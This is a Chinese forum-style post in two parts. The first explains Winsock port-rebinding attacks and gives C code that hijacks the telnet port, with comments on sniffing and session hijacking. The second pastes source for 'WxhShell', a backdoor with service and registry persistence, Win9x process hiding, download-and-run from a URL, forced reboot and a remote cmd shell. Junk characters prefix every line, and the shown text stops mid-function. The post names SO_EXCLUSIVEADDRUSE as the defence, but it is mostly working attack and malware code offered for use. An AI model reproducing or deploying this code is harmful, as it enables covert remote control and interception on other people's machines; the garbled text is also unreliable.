在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xb&,9Lxd| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FbW$H]C$ hE4qs~YB! saddr.sin_family = AF_INET;
nu[["f~ hF5(1s}e$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U8<C4 ]Z*B17// bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
iY5V4Gbo z<9Llew^e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Nema>T] :_o^oi7G 这意味着什么?意味着可以进行如下的攻击:
D@c@Dt bfK4ps}m* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}!m}? lZ)
qV!< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F|8;Sw b5 EWOa2^%}Z\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
nt%p@e!, h]j>S 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x]t$Zb/Uxa pB7^l|\] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
a`LkP% as[! 9tB] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
'p[B`Ft3F pv"s!q& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
bo@,
B .-Dc%ap] #include
GH`y-Ul'K #include
R{Cbp=3J #include
m!]J{OGG: #include
QH?sx k2 DWORD WINAPI ClientThread(LPVOID lpParam);
Ep3I*bQ
Y int main()
Gz(l~!n~a {
)g KC}_h= WORD wVersionRequested;
WADEDl&,' DWORD ret;
1X9J[5|ll WSADATA wsaData;
=J'Q%qN<Zd BOOL val;
Fqh./@o SOCKADDR_IN saddr;
3jHg9M23[^ SOCKADDR_IN scaddr;
,T;D33XV int err;
zV(aw~CbZ SOCKET s;
6;;2e> e SOCKET sc;
;^|):x+O int caddsize;
Z$zX%w HANDLE mt;
}{Ra5-PY DWORD tid;
d1'= \PYr wVersionRequested = MAKEWORD( 2, 2 );
|I{3~+E h err = WSAStartup( wVersionRequested, &wsaData );
'%o^#gJ p if ( err != 0 ) {
>7~,w1t printf("error!WSAStartup failed!\n");
Ge^,hAM' return -1;
n~tb z"& }
c c/nzB saddr.sin_family = AF_INET;
5".bM8o ($W%&(:/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#rNc+ Nbv b_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?CcX>R-/ saddr.sin_port = htons(23);
$\bVu2&I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
VE}r'MBk {
7PBE(d%m printf("error!socket failed!\n");
u]i%<Yy89 return -1;
*xY3F8 }
p(K^Zc val = TRUE;
=E^/gc%X //SO_REUSEADDR选项就是可以实现端口重绑定的
uh \Tf5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&0fV;%N {
yrl7 printf("error!setsockopt failed!\n");
RzzU+r return -1;
nHRk2l| }
_6'@#DN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
yK$aVK" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
radP%W-U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.w'b%M 0,Ib74N'w if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
MUGoW;}v) {
S\Le;,5Z ret=GetLastError();
md!!$+a%| printf("error!bind failed!\n");
G6G-qqXy6 return -1;
Lo5pn }
5SmJ'zFO listen(s,2);
J9DI(` while(1)
}pnp._j {
h.KgHMV` caddsize = sizeof(scaddr);
p<}y'7( //接受连接请求
x%HxM~& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
l&:8 'k+%= if(sc!=INVALID_SOCKET)
j+{cc: h"X {
#g0N/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
11kyrv if(mt==NULL)
_\Z'Yl {
DS>&|zF5l printf("Thread Creat Failed!\n");
5MKM;6cA&p break;
X(rXRP# }
\8s:I+[HH }
YRr,{[e CloseHandle(mt);
gA}<Y }
S]~5iO_bst closesocket(s);
'}B"071)< WSACleanup();
4[MTEBx return 0;
V2M4g }
u/-EVCHr
y DWORD WINAPI ClientThread(LPVOID lpParam)
+R HiX!PG {
}4H}*P> + SOCKET ss = (SOCKET)lpParam;
\%.oi@A SOCKET sc;
y'I
m/{9U unsigned char buf[4096];
c00rq ~<K SOCKADDR_IN saddr;
_~ei1
G.R long num;
.=t:Uy DWORD val;
Dm8fcD DWORD ret;
%"fO^KA.h] //如果是隐藏端口应用的话,可以在此处加一些判断
o$Nhx_F //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&GJVFr~z saddr.sin_family = AF_INET;
aX6}:"R2C saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q^nfD
saddr.sin_port = htons(23);
Zf<T`'_d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
D1 v0`od' {
ilHf5$ printf("error!socket failed!\n");
l&e$:=;8 return -1;
QRBx}!:NZ# }
Ut;4`>T val = 100;
SJMbYjn0J if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
HiU)q {
xS5 -m6/ ret = GetLastError();
zNoFM/1Vb return -1;
|pWu|M _' }
eI2HTFyT if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
" M?dU^U^ {
oQu>Qr{Zp ret = GetLastError();
\R]2YY`EP return -1;
ZAN~TG<n }
r~f;g9I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
"0#(<zb| {
h4|}BGO printf("error!socket connect failed!\n");
87+fd_G closesocket(sc);
RO/(Ldh closesocket(ss);
43M.Hj] return -1;
R<6y7?]bZ }
R5^6Kwu while(1)
7kE+9HmfMk {
4W*o:Y! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
w(S~}'Sg*P //如果是嗅探内容的话,可以再此处进行内容分析和记录
2 (l0Lq* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
OQKg/1 num = recv(ss,buf,4096,0);
5 D^#6h 4 if(num>0)
`pZX!6Wn send(sc,buf,num,0);
C5I7\9F) else if(num==0)
l9a81NF{s break;
!o_eK\p num = recv(sc,buf,4096,0);
L@6]~[JvP if(num>0)
YARL/V send(ss,buf,num,0);
iz`>'wpC else if(num==0)
i({\fb|0 break;
Kd+E]$F_OH }
{x,)OgK!{ closesocket(ss);
H8? Y{H closesocket(sc);
C{uT1` return 0 ;
a?r$E.W'& }
d!R+-Fp GEf=A.WAfw X coPkW ==========================================================
K)J_q3qo Tf]ou5| 下边附上一个代码,,WXhSHELL
"%^_.Db>| V^[&4 ==========================================================
SQ[D2v L{F]uz_[x #include "stdafx.h"
Fovah4q%V q/I( e #include <stdio.h>
2h51zG#qd #include <string.h>
ZJ)Z
#include <windows.h>
{X(nn.GpC #include <winsock2.h>
Z@Q*An #include <winsvc.h>
eQ/w
Mr #include <urlmon.h>
,s3| E#(e2Z= #pragma comment (lib, "Ws2_32.lib")
#9DJk,SP #pragma comment (lib, "urlmon.lib")
)?#K0o[< ^\O*e)#* #define MAX_USER 100 // 最大客户端连接数
]i`Q+q[ #define BUF_SOCK 200 // sock buffer
$#D#ezvxe #define KEY_BUFF 255 // 输入 buffer
W1"NKg~4 )$E){(Aa #define REBOOT 0 // 重启
jH<Sf: Y( #define SHUTDOWN 1 // 关机
qfJ2iE|o2. }WC[<AqI #define DEF_PORT 5000 // 监听端口
^z)De+,!4 R)Mkt8v #define REG_LEN 16 // 注册表键长度
q`2dL)E #define SVC_LEN 80 // NT服务名长度
h]& 4_QfM}Fyp // 从dll定义API
|Sjy
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|Ol29C$@| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Wgte.K> / typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
sd%)g<t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\a;xJzc9 J Y8Rk= // wxhshell配置信息
xgIb6<qwY struct WSCFG {
AjcKz int ws_port; // 监听端口
(n B[aM char ws_passstr[REG_LEN]; // 口令
cb)7$S int ws_autoins; // 安装标记, 1=yes 0=no
M}11 tUl char ws_regname[REG_LEN]; // 注册表键名
s;oe Qa}TB char ws_svcname[REG_LEN]; // 服务名
D^%IFwU^ char ws_svcdisp[SVC_LEN]; // 服务显示名
--l
UEo ~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
t6+W char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Psx"[2iZm int ws_downexe; // 下载执行标记, 1=yes 0=no
2=K|kp5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
d]sqj\Q57 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3)W_^6>bM tTTHQ7o*BD };
Rf`_q7fm UJqh~s // default Wxhshell configuration
.E^w, o struct WSCFG wscfg={DEF_PORT,
Co(N8>1 "xuhuanlingzhe",
/Lr`Aka5 1,
Am@Ta "2 "Wxhshell",
e6_8f*o|s "Wxhshell",
Dmi.@. "WxhShell Service",
n7;jME/! "Wrsky Windows CmdShell Service",
%+Nng<_U\T "Please Input Your Password: ",
n;:.UGl9. 1,
<FBH;}] "
http://www.wrsky.com/wxhshell.exe",
7NT}
Zwf "Wxhshell.exe"
P,m+^, };
I^f|U bl>W i@GL // 消息定义模块
@ntwdv; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
qgl-,3GY%N char *msg_ws_prompt="\n\r? for help\n\r#>";
9Cd/SlNV2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6p)&}m9! char *msg_ws_ext="\n\rExit.";
j~\FDcG*ed char *msg_ws_end="\n\rQuit.";
-E6av|c,F char *msg_ws_boot="\n\rReboot...";
?K pDEH~\ char *msg_ws_poff="\n\rShutdown...";
x7E] }h char *msg_ws_down="\n\rSave to ";
tgCp2`n `_)9eGQ char *msg_ws_err="\n\rErr!";
Jxe 5y3*
( char *msg_ws_ok="\n\rOK!";
%K3U`6kHcd "2C}Pr,p8 char ExeFile[MAX_PATH];
~28{BY int nUser = 0;
3O*iv{-& HANDLE handles[MAX_USER];
<`Fl Igo int OsIsNt;
p@Os (T2HUmkQ6 SERVICE_STATUS serviceStatus;
r,IekFBs SERVICE_STATUS_HANDLE hServiceStatusHandle;
X$ul=iBs -tWxBGSa@ // 函数声明
9HN&M*} int Install(void);
Ag:/iB] int Uninstall(void);
1S(oi int DownloadFile(char *sURL, SOCKET wsh);
7lF;(l^Z>} int Boot(int flag);
K%%Ow void HideProc(void);
>clVV6B int GetOsVer(void);
;9)nG,P3 int Wxhshell(SOCKET wsl);
|QbCFihn void TalkWithClient(void *cs);
#gWok'ZcR int CmdShell(SOCKET sock);
D8w.r"ne int StartFromService(void);
$Nvox<d0 int StartWxhshell(LPSTR lpCmdLine);
.XK3o .ZhW [W[awGf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*j,noHUT~> VOID WINAPI NTServiceHandler( DWORD fdwControl );
~IO'"h'w `3[W~Cq // 数据结构和表定义
^o Ds*F SERVICE_TABLE_ENTRY DispatchTable[] =
_z]v;Q {
Wn;%B].I {wscfg.ws_svcname, NTServiceMain},
*R4=4e2#S {NULL, NULL}
Qt'3v"S>) };
;H%'K (mi=I3A( // 自我安装
*pS3xit~ int Install(void)
\N? lG q {
yoq-H+< char svExeFile[MAX_PATH];
""V\hHdp
HKEY key;
^Bw"+ 6d strcpy(svExeFile,ExeFile);
56C'<# qa:muW // 如果是win9x系统,修改注册表设为自启动
{KTZSs $n if(!OsIsNt) {
@Py'SH!- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9ygNJX'~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
FDGzh/ RegCloseKey(key);
Q}lY1LT` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4ee-tKH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@1k-h;`, RegCloseKey(key);
Y.52`s6F return 0;
M>BVnB_,- }
\dB z-H'@ }
(S=CxK }
iy8Ln,4z( else {
|U~\;m@
vvG*DGL)qL // 如果是NT以上系统,安装为系统服务
M6Ik 'r"M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
33"!K>wC if (schSCManager!=0)
!a%_A^t7 {
6_w~#86= SC_HANDLE schService = CreateService
(G>g0(;D- (
T%PUV \LV schSCManager,
tOQnxKzu wscfg.ws_svcname,
/5>A 2y wscfg.ws_svcdisp,
|mw3v> SERVICE_ALL_ACCESS,
3P'Wk|j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$U^ Ms!'L SERVICE_AUTO_START,
(3m^@2i SERVICE_ERROR_NORMAL,
9~r8$,e svExeFile,
2tp95E`(O NULL,
>IS BK[=H NULL,
0e'@Xo2e NULL,
2) Q/cH\g NULL,
c`)[- NULL
`4|:8@,3{ );
-0*z"a9<p8 if (schService!=0)
7x$VH5jie# {
CY@#_z CloseServiceHandle(schService);
s<LYSr d CloseServiceHandle(schSCManager);
}SW>ysw'm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9iK%@k strcat(svExeFile,wscfg.ws_svcname);
AHP;N6Y6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
j;&su=p" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
eyByAT~W, RegCloseKey(key);
cD<5~ `l return 0;
mw${3j~& }
$viZ[Lu!m }
@$|bMH*1: CloseServiceHandle(schSCManager);
E^Z?X2Z }
Fau24-g }
gCI{g.[I! 14 hE<u return 1;
>yt8gw0J }
K|wB0TiXP &>Nw>V // 自我卸载
ff2`4_,| int Uninstall(void)
-=4:qQEw {
TDW\n HKEY key;
!='L `. hyC]{E if(!OsIsNt) {
3m/XT"D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+)e+$
l RegDeleteValue(key,wscfg.ws_regname);
n4Q ^ RegCloseKey(key);
39Tlt~Psz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
43BqNQ0 RegDeleteValue(key,wscfg.ws_regname);
:sJQ r._L RegCloseKey(key);
)SWLX\b return 0;
@`:z$52 }
e6I7N?j }
63pd W/\j }
N| else {
ze#r/j;sw Hus.Jfam SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
mBg$eiGTB if (schSCManager!=0)
c#`&uLp {
G Y+li{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
o9c?)KQ if (schService!=0)
lWk/vj<5 {
g,}_&+q:.M if(DeleteService(schService)!=0) {
D[p`1$E-1v CloseServiceHandle(schService);
OH6-\U'.Z CloseServiceHandle(schSCManager);
c4(og|ifk return 0;
\MB$ Cwc }
wYN/ }>M CloseServiceHandle(schService);
~r?VXO p"
}
>|g(/@IO CloseServiceHandle(schSCManager);
.._UI2MA }
hf< [$B }
o!W( ;><m[ l6 return 1;
/J[s5{ }
U*7x81v?j X
v$"B-j // 从指定url下载文件
2[g kDZ int DownloadFile(char *sURL, SOCKET wsh)
0@kL<\u {
tYMPqP,1. HRESULT hr;
<j:@ iP char seps[]= "/";
9i+`,r
char *token;
|Ju d*z char *file;
y1 a1UiHGP char myURL[MAX_PATH];
3U%kf<m= char myFILE[MAX_PATH];
Ar'k6NX 'C)
v?!19 strcpy(myURL,sURL);
dK>sHUu token=strtok(myURL,seps);
[Z;ei1l while(token!=NULL)
e@7UL|12 {
eD!mR3Ai@D file=token;
f-Zi!AGh> token=strtok(NULL,seps);
i7%`}t }
-9(pOwN
|m -lm)xpp1 GetCurrentDirectory(MAX_PATH,myFILE);
rG3?Z^&R+ strcat(myFILE, "\\");
r0*Y~
KHw strcat(myFILE, file);
L5r02VzbD send(wsh,myFILE,strlen(myFILE),0);
NiD_ v send(wsh,"...",3,0);
kO4'|<
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
zJov*^T-C if(hr==S_OK)
WaSZw0U}y return 0;
2WC$r8E else
(#8B return 1;
LZ RP}| ch33+~Nn }
@D>qo=KPM YP>J'{?b*" // 系统电源模块
iP6?[pl8 int Boot(int flag)
Yz#E0aTTA {
q7<=1r+ HANDLE hToken;
jXPbj. TOKEN_PRIVILEGES tkp;
X.ecA`0 "RgP! if(OsIsNt) {
TjHt:%7. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
oRZe?h^r# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
g'cVsO)S tkp.PrivilegeCount = 1;
ZsSW{ffZ77 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@km4qJZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
nw(R=C if(flag==REBOOT) {
Mfnfp{.) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%xr'96d return 0;
ubRhJ~XB }
&j,#5f( else {
m^
Epw4eg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
6\k~q.U@XI return 0;
IwRP,MQ~ }
0!oqP1 }
AN3oh1xe: else {
:zY;eJK m if(flag==REBOOT) {
Y>atJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
@ qi|}($ return 0;
(<rE1w2s: }
G|RBwl else {
wE"lk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]=9 d'WL return 0;
:aBm,q9i:} }
p3Ozfk }
@,7r<6E V^4v`}Wgx return 1;
Zb2PFwcy }
`wZ [oXSjLQm[ // win9x进程隐藏模块
<$K=3&:s8q void HideProc(void)
bRrSd:e {
-2!S>P Zs q*5L", HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
j Neb*dPoK if ( hKernel != NULL )
d2V\T+= {
@$!6u0x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?@Q0;LG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
y10W\beJ FreeLibrary(hKernel);
$_;rqTk]g }
~cyKPg6 (X-(
WMsqQ return;
Nsq=1)
< }
UJQTArf F_g(}wE#
q // 获取操作系统版本
j`q>YPp int GetOsVer(void)
G[]%1
_QCO {
a'/C)fplL OSVERSIONINFO winfo;
tu"-]^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)/JVp> GetVersionEx(&winfo);
&bfM`h' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
lR7;{zlSf' return 1;
jA;b2A]G else
R.2i%cU return 0;
fZr{x$]N0 }
Te~jYkCd \)wVO*9*0 // 客户端句柄模块
pfIK9>i int Wxhshell(SOCKET wsl)
f4*(rX {
p>\[[Md SOCKET wsh;
\p(0H6 struct sockaddr_in client;
wBg?-ji3< DWORD myID;
~PQR_?1 /DH`7E while(nUser<MAX_USER)
Oi& 9FS {
!KJ X$? int nSize=sizeof(client);
\Gk}Fer wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Z.Z31yF:f if(wsh==INVALID_SOCKET) return 1;
Lg,ObVt! .#Z'CZO| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[.Md_ if(handles[nUser]==0)
04=RoYMM closesocket(wsh);
)
?kbHm else
f%t
N2k nUser++;
0vDvp`ie#4 }
2B6u)
95 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
% rnRy<9 IcQpbF0 return 0;
? eI)m }
SJO*g&duQ 8KigGhY'ms // 关闭 socket
^/Yk*Ny void CloseIt(SOCKET wsh)
/8`9SS {
,K6ODtw. closesocket(wsh);
K*'AjT9wX+ nUser--;
#')]~Xa ExitThread(0);
$^ir3f+ }
ak3WER|f# bT9:9LP // 客户端请求句柄
QjJlVlp void TalkWithClient(void *cs)
X2| Z! {
#z.\pd rk,64( SOCKET wsh=(SOCKET)cs;
+|+fDQI char pwd[SVC_LEN];
n]5Pfg|a char cmd[KEY_BUFF];
c<cYX;O char chr[1];
jL4"FTcE]3 int i,j;
QJkiu8r d3T7$'l$ while (nUser < MAX_USER) {
rc%*g3ryLG kaEu\@%n if(wscfg.ws_passstr) {
uF|[MWcy0# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
93w$ck},?G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2%fkXH< //ZeroMemory(pwd,KEY_BUFF);
aG@GJ@w i=0;
sZqi)lo-s while(i<SVC_LEN) {
hdM?Uoo(4a QiRx2Z*\ // 设置超时
JL:B4f%}B fd_set FdRead;
Cd p_niF struct timeval TimeOut;
j}jU.\*v< FD_ZERO(&FdRead);
vl%Pg!l FD_SET(wsh,&FdRead);
=5%}CbUU)4 TimeOut.tv_sec=8;
l`JKQk TimeOut.tv_usec=0;
ke +\Z>BWN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Xa>c]j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d+eb![fi e<Oz% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ROfke.N\' pwd
=chr[0]; Pc~)4>X<
if(chr[0]==0xd || chr[0]==0xa) { )@.ODW;`
pwd=0; 8Waic&lX~
break; 63i&e/pv
} WPu%{/[
i++; @(tuE
} <@@@Pl!~
#:
,X^"w3
// 如果是非法用户,关闭 socket ,}Ic($To
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VN@ZYSs
} U:IeMf-;
xoE,3Sn
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <*{(>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (W`=`]!
{y:+rh&
while(1) { 8ax3"G
><;.vP
ZeroMemory(cmd,KEY_BUFF); pQ+4++7ID
hN:2(x
// 自动支持客户端 telnet标准 RveMz$Yy
j=0; jCt[I5"+z
while(j<KEY_BUFF) { v#KE"m
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S#7.y~e\
cmd[j]=chr[0]; ';x5 $5k'
if(chr[0]==0xa || chr[0]==0xd) { Tq >?.bq9
cmd[j]=0; ( e(<4-&
break; -Ar 3>d
} 3^AS8%qG
j++; RFm9dHI27
} "{(4
3sGe#s%
// 下载文件 iW<B1'dp
if(strstr(cmd,"http://")) { V|dKKb[Lve
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
KY;E. D`
if(DownloadFile(cmd,wsh)) 8DNGqaH;dt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FY]z*=
else )c<5:c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !.k
} lV !@h}mG
else { }vdhk0
/!0{9F<
switch(cmd[0]) { !~k-Sexh
BI6o@d;=4
// 帮助 J;BG/VI1
case '?': { Lv
,Ls
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tp/+{|~
break; wXsA-H/`
} u_U51C\rb
// 安装 ]"M 4fA
case 'i': { j^~WAWbFh
if(Install()) yf7p0;$?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &wZ:$lK#o
else '4qi^$|\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8V3SZ17
break; 5ff66CRw
} b9([)8
// 卸载 n2H2G_-L[
case 'r': { `W[oLQ
if(Uninstall()) Y&5h_3K;<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pOip$Z
else PTvP;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jj'~\j
break; ?H3xE=<X
} _>*$%R
// 显示 wxhshell 所在路径 _A\c 6#
case 'p': { DY{JA
*N
char svExeFile[MAX_PATH]; #f@sq5pTO
strcpy(svExeFile,"\n\r"); |S:St HZm
strcat(svExeFile,ExeFile); q $s0zqV5
send(wsh,svExeFile,strlen(svExeFile),0); O.*, e
break; W$P)fPU'
} fN>o465I6
// 重启 avk0pY(n
case 'b': { F,`y_71<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qGgT<Rd~1
if(Boot(REBOOT)) *B`wQhB%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z&d&Ky
else { 6P!M+PO
closesocket(wsh); (3"V5r`*;
ExitThread(0); \?)<==^
} oO>mGl36H
break; UMw1&"0:
} O6;7'
// 关机 X'WbS
case 'd': { qV.*sdS>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pNI=HHx
if(Boot(SHUTDOWN)) _Y*]'?g`
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
!5Kv9P79
else { +=^10D
closesocket(wsh); $GYcZN&
ExitThread(0); ]7-*1kL8=~
} S!k cC-7
break; {(AYs*5
} WeE>4>^
// 获取shell Y|g8xkI}XB
case 's': { InMF$pw
CmdShell(wsh); ;+`t[ go
closesocket(wsh); ">*PH}b
ExitThread(0); \L(~50{(
break; gEMxK2MNXj
} cWP34;NNM
// 退出 V,fSn:8%M
case 'x': { dmW0SK
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nWfOiw-t
CloseIt(wsh); $uF}GP_)
break; ogH{
} &[}bHX/
// 离开 |[;9$Vn
case 'q': { V.6h6B!vB
send(wsh,msg_ws_end,strlen(msg_ws_end),0); V lXUrJ9&
closesocket(wsh); Tf)qd\
WSACleanup(); >fPa>[_1
exit(1); [84ss;.$
break; iF?4G^
} De@GNN"-
} D$d8u=S
} 8hZ+[E}
K2<"O qp_W
// 提示信息 (;;%B =
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UR44
iA]
} Q\z6/1:9Z
} Pk !RgoWF
4!64S5(7t
return; 9q5jqFQ
} -'r4@='6}
U,Ya^2h%
// shell模块句柄 }lt5!u~}
int CmdShell(SOCKET sock) vg[A/$gLM
{ <fg~+{PA&
STARTUPINFO si; .R'<v^H
ZeroMemory(&si,sizeof(si)); r==d^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^3"~
T
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g<pr(7jO
PROCESS_INFORMATION ProcessInfo; wV8_O)[
char cmdline[]="cmd"; n-zAkKM
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]!CMo+
return 0; KUJCkwQ
} )`
~"o*M
9U~fc U6
// 自身启动模式 2%4u/
int StartFromService(void) 4Z8FLA+T,
{ |i_+b@Lul
typedef struct Zp8\n:
{ &:Q^j:
DWORD ExitStatus; e}l F#$
